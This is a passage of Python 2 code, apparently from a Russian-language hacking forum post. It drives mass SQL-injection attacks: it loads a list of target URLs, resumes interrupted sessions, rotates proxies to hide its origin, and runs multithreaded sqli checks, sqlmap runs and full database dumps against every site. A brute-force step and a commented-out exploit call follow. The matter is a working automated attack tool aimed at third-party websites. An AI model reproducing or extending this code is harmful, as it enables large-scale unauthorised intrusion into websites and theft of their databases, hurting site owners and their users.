            f = open(wrapper_config.URLS_FILE, 'w')
            f.writelines(output)
            f.close()
            del_dub(wrapper_config.URLS_FILE)
        if os.stat(wrapper_config.URLS_FILE).st_size == 0:
            print 'No target'
            sys.exit()


dublicates = None

def threads():
    global dublicates
    dublicates = []
    new = False
    try:
        logfile = open(wrapper_config.LOG_FILE).read().splitlines()
    except: new = True
    else:
        if len(logfile) > 2:
            for line in logfile:
                if 'all work done' in line:
                    new = True
        else:
            new = True
    if new:
        if wrapper_config.DEBUG:
            logging.basicConfig(
                level=logging.DEBUG, 
                filename=wrapper_config.LOG_FILE,
                filemode='w')
        print('starting new session')
        try:
            urls = open(wrapper_config.URLS_FILE).read().splitlines()
        except IOError:
            print('cant open %s check file' % wrapper_config.URLS_FILE)
            sys.exit()

    else:
        if wrapper_config.DEBUG:
            logging.basicConfig(
                level=logging.DEBUG, 
                filename=wrapper_config.LOG_FILE,
                filemode='a')
        print('detect previous session, restore')
        try:
            urls = open(wrapper_config.URLS_FILE).read().splitlines()
            #print   urls
        except IOError:
            print('cant open %s check file' % wrapper_config.URLS_FILE)
            sys.exit()
        for line in reversed(logfile):
            if ':set' in line:
                try:
                    lasturl = line.split(':set ')[1]
                    lasturl_index = urls.index(lasturl) + 1
                except: print('cant detect last url %s in task' % lasturl)
                else:
                    print('detect last url in task %s' % lasturl)
                break

    proxies = []
    if wrapper_config.PROXY:
        if wrapper_config.PROXY_FILE:
            proxies = open(wrapper_config.PROXY_FILE).read().splitlines()
            print('get proxies from %s' % wrapper_config.PROXY_FILE)
            
    for lim in range(0, len(urls), wrapper_config.URLS_LIMIT):
        urls_chunk = urls[lim:lim + wrapper_config.URLS_LIMIT]
        pool = Pool(wrapper_config.THREADS)
        for index, url in enumerate(urls_chunk):
            try:
                position = len(urls) - urls.index(url)
            except:
                position = 0

            if wrapper_config.Check_SQLi == True:
                if wrapper_config.PROXY:
                    pool.apply_async(sqli_check, (
                        clean_url(url), 
                        position, 56000, choice(proxies)))
                else:
                    pool.apply_async(sqli_check, (
                        clean_url(url), 
                        position, 56000))

            if wrapper_config.DUMP == True:
                if wrapper_config.PROXY:
                    pool.apply_async(sqlmap_check, (
                        clean_url(url), 
                        position, 56000, choice(proxies)))
                else:
                    pool.apply_async(sqlmap_check, 
                        (clean_url(url), position, 56000))
                    
            if wrapper_config.DUMP_ALL == True:
                if wrapper_config.PROXY:
                    pool.apply_async(sqlmap_dump_all, (
                        clean_url(url), 
                        position, 56000, choice(proxies)))
                else:
                    pool.apply_async(sqlmap_dump_all, 
                        (clean_url(url), position, 56000))


        pool.close()
        pool.join()

    brutecont()
   # exploit()

try:
    sites_dev()
    threads()
except KeyboardInterrupt:
    sys.exit()
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!